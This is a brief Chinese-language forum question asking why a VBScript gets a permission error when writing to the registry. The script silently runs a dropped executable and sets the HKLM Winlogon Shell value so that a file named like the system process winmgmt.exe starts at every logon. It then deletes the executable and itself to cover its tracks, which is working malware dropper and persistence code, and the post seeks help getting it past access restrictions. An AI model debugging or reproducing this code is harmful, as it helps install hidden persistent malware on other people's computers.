怎么不能写入注册表呢 提示没有权限!
脚本如下:- dim wsh
- set wsh=CreateObject("WScript.Shell")
- wsh.run "%windir%\zhuceji.exe",0
- set sm=Wscript.CreateObject("WScript.Shell")
- sm.RegWrite "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell","Explorer.exe %systemroot%\system32\winmgmt.exe"
- set WshShell=WScript.CreateObject("WScript.Shell")
- WScript.Sleep 2000
- Set fso=CreateObject("Scripting.FileSystemObject")
- f=fso.DeleteFile ("zhuceji.exe")
- f=fso.DeleteFile (WScript.ScriptName)
复制代码
|